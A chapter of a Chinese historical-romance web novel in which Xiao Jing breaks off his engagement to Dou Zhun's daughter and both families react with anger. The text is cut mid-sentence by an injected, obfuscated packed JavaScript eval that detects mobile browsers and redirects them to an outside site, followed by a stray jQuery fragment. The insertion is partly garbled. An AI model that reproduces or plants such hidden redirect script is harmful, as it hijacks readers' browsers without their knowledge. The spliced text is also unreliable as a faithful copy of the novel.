那句话从竹廉里随风出来,随即堂内一片死寂。令禾隔着竹廉只能见到里头隐隐约约几个人影,都杵在那儿一动不动。
窦准今日特意换了一身衣裳,连着头上的幞头都是叫人新裁的。萧参带着侄儿上门,明眼人都看得出来,这是上门商量婚期的。
哪怕之前恼怒于萧景的不识时务,但是萧景愿意低头,去看了他腿伤的弟弟,又亲自过来。他也愿意给年轻人个台阶下。
谁知道坐下来才说了几句话,萧景就说出这么一句来。
场面有瞬间的死静,萧参扭头满面错愕的盯着身旁的侄儿。来之前,他已经和这个侄儿道明了这次上门就是为了商议婚期的。哪料到,他开口竟然就是退婚。这话简直就是一棍子闷声敲在萧参的后脑勺上,两耳嗡嗡作响,连着眼前都是阵阵发晕。
不过到底是宰相之一,萧参立即回神过来,狠狠怒斥,“小儿胡说八道什么!”
说罢,转头去看窦准。望见窦准的面色,顿时心下一沉。
窦准面色发青难看至极,双眼一改方才的随和,霎时鹰隼一般牢牢盯紧了面前的年轻人。
他唇边扬起个笑,手指屈起敲在臂下的凭几上叩叩作响。眉眼似笑非笑,看的萧参莫名的一个激灵,连着脖颈那儿汗毛直竖,起了一层鸡皮疙瘩。
萧参突然想起来,眼前的这个人当年是统领千军万马的将帅。率领几千人深入漠北追击突厥可汗,也曾经南下平定诸王叛乱。哪怕这些年不再带兵,做了宰相,但磅礴的气势上来,还是能压得人喘不过气。
“萧令这是故意给我难堪的?”窦准冷笑去看萧参。
萧参喉咙发紧,“右相这——我不是——”
窦准不给萧参解释的机会,“我们在朝堂上同僚多年,有些不快也平常。也不至于萧令花这么大的力气来下我的脸面吧?”
窦准面上在笑,眼底里却是两簇冷火,烧得萧参冷汗直流。
“右相。”萧景抢在叔父之前开口,“此事是我一人决定。我已入道受箓,原本就不该有成家之念,何况现如今更是白身,实在是不能耽误令嫒大好年华。”
“你小子倒是把我当做外面那些蠢货糊弄吗?”窦准提高了声量。
“以为话说得好听就能将我糊弄过去?”窦准笑得冰冷,“小子你修行还远未到家。”
窦准的武将脾气上来,谁也扛不住。
“说什么入道受箓,少拿那些神神鬼鬼的东西来骗老子。”窦准怒火上涌,也不讲究了,“你以为我不知道你们这些人看着光风霁月,实际上蝇营狗苟的做派是吧?”
“真要和你自己说的那些仙风道骨,你来长安做什么。直接去终南山不是更好。听说那山上面有不少老神仙在修行。到长安面圣难道不就是想要祈求官位富贵,这时候腆着脸装相,把老子当驴耍?”
这话说得十分重了,萧参哪怕在朝堂多年,这会儿也是脸色惨白,冷汗顺着额头直淌。
“右相,这孩子中了暑热,以至于昏了头不知道自己在说什么。我这就领他归家去,狠狠教训他。改日登门道歉。”
“算了。”窦准声如洪钟,几乎震得屋梁都在抖。
刀口舔血练就出来的气势,排山倒海压过来。萧参僵在那儿,张了张嘴,说不出来一个字。
“都这样了,我哪里还能指望萧六郎能做我女婿呢。”他笑容冰冷,“没怪我耽误他几年就已经算不错的了。至于这亲家,看来是做不成了。”
窦准说着,目光如刀直接戳向一旁的萧景。
年轻人长了一张好样貌,哪怕面对千钧怒气,依然平静。
“小子无状,实在不能耽误小娘子。”
“右相——”
萧参急了就要开口,被窦准拦住。
窦准抬起手掌示意这位同僚不要再说。他盯着萧景笑了两声,“小子,你过的太顺当了。出身名门,又自幼声名在外,顺遂到如今。就以为这世上的事一切皆如你愿。”
“这种人我见多了,太过目中无尘,最后跟头也跌的最狠。”
萧景坐在那儿,听着这话,垂眼下来,姿态恭谨,“多谢右相教诲。”
窦准嗤笑出声,“你小子的苦还在后面呢,自己等着吧!”
说完他看向萧参,“当年这婚事是陛下做媒,这小子既然要退婚,那么萧令自己想办法去和陛下解释吧。”
说罢,他起身就往外走。
窦准出来见到女儿站在外面,脸上的怒气一怔,霎时收起来。他一手拉过令禾,“走吧,阿耶带你到别处去。”
萧参在竹簾内听到外面的动静,脸色更加难看。
刚才这家的小娘子也在外面。这下可好,是真的没有回旋余地了。
萧参怒视萧景,“你和我回去。”
到了外面,萧参瞧见窦准已经领着个小娘子往另一边去,窦准身形高大,把人遮的结结实实,只露出点披帛出来。
萧参回头过来看这个侄儿,见着侄儿目光微垂,火气更大了。
“你与我回去。”
萧参的火气在府门关上彻底发作起来,他屏退四周的家仆。待到四周除了叔侄二人之后,萧参怒喝,“跪下!”
萧景撩起衣袍直直跪在地上。
“我之前将其中利害都说给你听了。你为什么还要自作主张!”
萧景跪在那里,“侄儿不想。”
“不想什么?!”萧参怒问,“你是真的修道修傻了,还是真的觉得现如今我们萧氏一门想如何就如何?”
“你难道嫌弃窦家是寒门?”
萧景径直抬头,“我从未有此意。”
“那你为什么要说那样的话?!”萧参怒火比之前更盛,“窦氏是太子的母家你知道不知道!”
“你姑母虽然居皇后之位,但已经是摇摇欲坠朝不保夕。就算哪日陛下下旨废后也不奇怪!”
萧家之前见到皇后无子,又送了几个族中女子进去。奈何那些女子入宫之后再无消息,更别说诞育皇子了。
萧家现如今对皇后已经绝望,放下身段和窦家联姻也是为了日后打算。
“你老实给我交代,你到底在想什么?你不嫌弃窦家是寒门,那你说出那种话来!你难道真的以为右相是个什么好脾气的人么?他早年南征北战,手下部将众多,现如今那些部将不是在外带兵镇守关隘,就是做刺史威震一方。”
“他的能耐可不止是在长安,在长安之外他的旧部也还唯他马首是瞻!”
萧景跪在那儿背脊笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426853|200872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直,对叔父的话一声不吭。萧参指着他,“说!你到底在想什么!”
“我从未娶妻之念。”
这话让萧参一愣,他看着萧景跪在那,背脊笔直,“你说什么?”
“我从未有过半点娶妻之念。当年没有,入道受箓之后更是没有。和窦家还是其他什么毫无关系。”
这话说得萧参眼前发黑,他身形一个趔趄,几乎没栽倒在跟前。
萧参勉强稳住身形,抬起手“你”了好几声,最后颤着手指着他,“你知道你说什么?这种关乎终身的话,岂是这么随意的说出来?倘若有一日你后悔了,又当如何?”
那双乌沉的眼眸抬起来,直直望向面前的叔父,“叔父放心,我不会后悔。”
萧家这边叔侄俩闹的起劲,窦家这边也没好多少。
几乎是同时杨夫人就知晓了萧景退婚的事,杨夫人也是将门虎女,虽然这些年年纪大了,脾气温婉了许多,但是底子还在,当即就要操起家里的戟去算账。一下子家里顿时如同下了水的油锅炸开了。
窦光今日轮休,没有进宫。知道这个消息就要和母亲一块打上门去。
“反了他了!”窦光义愤填膺,抓起环首刀就要冲出去。
“当初怎么不说不耽误阿弥的话,现在倒是说不能托付终身了。早干什么去了!”
窦光越说越怒,就要操起东西出门找萧景去。正乱着,窦准出来,就见着窦光握紧环首刀准备和杨夫人一起打上门。
“不用去了。”窦准道,“那小子到时候有他苦头吃,目中无尘又自视甚高。这种人没人领路,不吃几个教训才怪。”
“阿耶!”窦光急了,“难道就这么放过他?他嘴上说得好听,还不是看不起我们家,看不起阿弥!”
令禾在一旁突然被点名,有点儿发懵。见着母亲和兄长满面怒气,她正考虑要不要掩面嘤嘤嘤一下来烘托气氛,那边窦准已经一把将窦光手里的刀夺了下来。
“先别急着发火。”窦准对老妻说,“要是真把那小子打出个好歹,这件事那就算两清了。这事没那么容易就算了。”
有了这话,杨夫人渐渐冷静下来,可到底还是怒气未消,哼了一声,“这一家人真不像话。”
说完杨夫人抱住令禾,“我可怜的阿弥,白白等了那么些年!”
令禾在母亲怀里欲言又止,说实在的,她在崇玄馆那一面之前,就没有见过萧景。对她而言这人只是别人口里的传说。要不是他回长安了,她都还想不起还有这号人在,要说伤心实在是太难为她了。
不过她也不好说话的,只能仍由母亲抱着。
“阿弥要是伤心哭也行的。”那边窦光道。
令禾眨了眨眼,用力的挤了挤眼也没能挤出滴眼泪出来。干脆就不为难自己了。
“阿兄我还好。”令禾被母亲抱在怀里瓮声瓮气开口。
“那就好。”窦光想了想狠狠呼出一口气,“这世上的男人又不止他萧景一个。到时候阿弥看上谁,只管和阿兄说,阿兄绑也要给你绑来。”
令禾悄悄的从母亲怀抱里探出头,“那我一直没有看上的怎么办?”
“那阿兄就照顾你一辈子。就算阿兄不在了,子侄们也要恭恭敬敬养姑母到老!”